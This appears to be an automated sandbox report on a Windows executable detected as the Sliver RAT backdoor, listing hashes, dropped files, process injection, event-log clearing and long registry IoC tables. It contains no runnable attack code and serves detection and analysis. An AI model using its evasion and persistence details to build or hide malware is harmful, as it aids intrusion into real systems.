sliver | 8e3c8a67122bed24ce4a67ce7df0af3bf3b856dad467edd059c5afdbf46a6cf2

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
21/08/2024, 04:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8e3c8a67122bed24ce4a67ce7df0af3bf3b856dad467edd059c5afdbf46a6cf2.exe
Size 8.9MB
Sample240821-ff9j8avamp
SHA256 8e3c8a67122bed24ce4a67ce7df0af3bf3b856dad467edd059c5afdbf46a6cf2
MD5 6e1f77d96601fc0e931fd355faaa373f
SHA1 a85772631a0c6d86c134c27e69fb19a433aa1729
SHA512 defe1efd09e3ae0251382d9df051817fbcbbe9b6a6d4091537e05da7cf145b8b00fe2736f895a5a6b2fff0fb0c3e84882e90a62e096af5db6d22932de6398c11
SSDEEP 98304:pL6VwkcepYIOX3bQ3zhKRuJKI07NV2EwBLU71H/D8w/alW8zA+j83:EcepY3EDhKRuJZYYE1H/0zRS
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

sliver backdoor defense_evasion discovery execution trojan

Malware Config

Signatures

Sliver RAT v2 1 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023422-976.dat	SliverRAT_v2

SliverRAT
SliverRAT is an open source Adversary Emulation Framework.
trojan backdoor sliver

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4480 created 608	4480	powershell.EXE	5

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4480	powershell.EXE
2728	powershell.exe
5092	powershell.exe

Executes dropped EXE 11 IoCs

pid	Process
2452	$77tor.exe
2340	$77master.exe
3520	$77install.exe
2836	$77securerelay.exe
3728	$77beacon.exe
4128	$77securerelayMeterpreter.exe
5000	$77securerelayMeterpreter.exe
4596	$77securerelayMeterpreter.exe
3508	$77securerelayMeterpreter.exe
220	$77securerelayMeterpreter.exe
2464	$77securerelayMeterpreter.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4480 set thread context of 864	4480	powershell.EXE	110

Drops file in Windows directory 7 IoCs

description	ioc	Process
File created	C:\Windows\$77driver\$77master.exe	8e3c8a67122bed24ce4a67ce7df0af3bf3b856dad467edd059c5afdbf46a6cf2.exe
File created	C:\windows\$77driver\$77install.exe	$77master.exe
File created	C:\windows\$77driver\$77securerelay.exe	$77master.exe
File created	C:\windows\$77driver\$77beacon.exe	$77master.exe
File created	C:\windows\$77driver\$77securerelayMeterpreter.exe	$77master.exe
File opened for modification	C:\windows\$77driver\$77securerelayMeterpreter.exe	$77master.exe
File created	C:\Windows\$77driver\$77tor.exe	8e3c8a67122bed24ce4a67ce7df0af3bf3b856dad467edd059c5afdbf46a6cf2.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77beacon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8e3c8a67122bed24ce4a67ce7df0af3bf3b856dad467edd059c5afdbf46a6cf2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77tor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77master.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe

Modifies data under HKEY_USERS 55 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1724215901"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={CF844034-4BDC-43D8-B9DB-CA578B702315}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Wed, 21 Aug 2024 04:51:43 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\24971ff0-7761-41d5 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\4152a8da-b78b-4325	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\047bbacc-fd71-4fab = "8324"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6c29f6ab-7e9a-481d	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\4a799b5f-c13a-4129 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6c29f6ab-7e9a-481d = "0"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6446cb97-7e6a-436c = "8324"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\83d4e9b4-e83d-4b62 = 424d60d685f3da01	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\24971ff0-7761-41d5 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000309bc7d585f3da0172d03ed685f3da0172d03ed685f3da01832c0e000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000155979262000636434383964643066373133353561626533306134333735383030643665396336666233316137383165396438343136636130393365316166366532363937350000b20009000400efbe15597926155979262e00000000000000000000000000000000000000000000000000e8602e00630064003400380039006400640030006600370031003300350035006100620065003300300061003400330037003500380030003000640036006500390063003600660062003300310061003700380031006500390064003800340031003600630061003000390033006500310061006600360065003200360039003700350000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000ae1da4c21000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c63643438396464306637313335356162653330613433373538303064366539633666623331613738316539643834313663613039336531616636653236393735000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000068766470637967730000000000000000bc1a08c028831b47b4949d85aa3b830f30bd6087d650ef11818ef2cbf1dce4a5bc1a08c028831b47b4949d85aa3b830f30bd6087d650ef11818ef2cbf1dce4a5d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0032003400310032003600350038003300360035002d0033003000380034003800320035003300380035002d0033003300340030003700370037003600360036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000bf081c85000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3fe0c656-2dba-453e = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000032ebb6d585f3da01504554d685f3da01504554d685f3da0189590b000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000155979262000393639636534366565313736363731373765303632613934386165313662353234633038343362616263613965613232323536316662656238366665326565320000b20009000400efbe15597926155979262e00000000000000000000000000000000000000000000000000c6140100390036003900630065003400360065006500310037003600360037003100370037006500300036003200610039003400380061006500310036006200350032003400630030003800340033006200610062006300610039006500610032003200320035003600310066006200650062003800360066006500320065006500320000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000ae1da4c21000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c39363963653436656531373636373137376530363261393438616531366235323463303834336261626361396561323232353631666265623836666532656532000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000068766470637967730000000000000000bc1a08c028831b47b4949d85aa3b830f32bd6087d650ef11818ef2cbf1dce4a5bc1a08c028831b47b4949d85aa3b830f32bd6087d650ef11818ef2cbf1dce4a5d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0032003400310032003600350038003300360035002d0033003000380034003800320035003300380035002d0033003300340030003700370037003600360036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000bf081c85000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\4a799b5f-c13a-4129	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3fe0c656-2dba-453e	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6446cb97-7e6a-436c	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\4152a8da-b78b-4325 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000678995d585f3da01678995d585f3da01678995d585f3da01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000015597a262000316338323237633233656439303765623639353563316361343564616236353831666630316330363663396238653966376666343064323832313032343333370000b20009000400efbe15597a2615597a262e00000000000000000000000000000000000000000000000000991a2b01310063003800320032003700630032003300650064003900300037006500620036003900350035006300310063006100340035006400610062003600350038003100660066003000310063003000360036006300390062003800650039006600370066006600340030006400320038003200310030003200340033003300370000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000ae1da4c21000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c31633832323763323365643930376562363935356331636134356461623635383166663031633036366339623865396637666634306432383231303234333337000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000068766470637967730000000000000000bc1a08c028831b47b4949d85aa3b830f2dbd6087d650ef11818ef2cbf1dce4a5bc1a08c028831b47b4949d85aa3b830f2dbd6087d650ef11818ef2cbf1dce4a5d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0032003400310032003600350038003300360035002d0033003000380034003800320035003300380035002d0033003300340030003700370037003600360036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000bf081c85000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\83d4e9b4-e83d-4b62 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\047bbacc-fd71-4fab = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\4a799b5f-c13a-4129	RuntimeBroker.exe
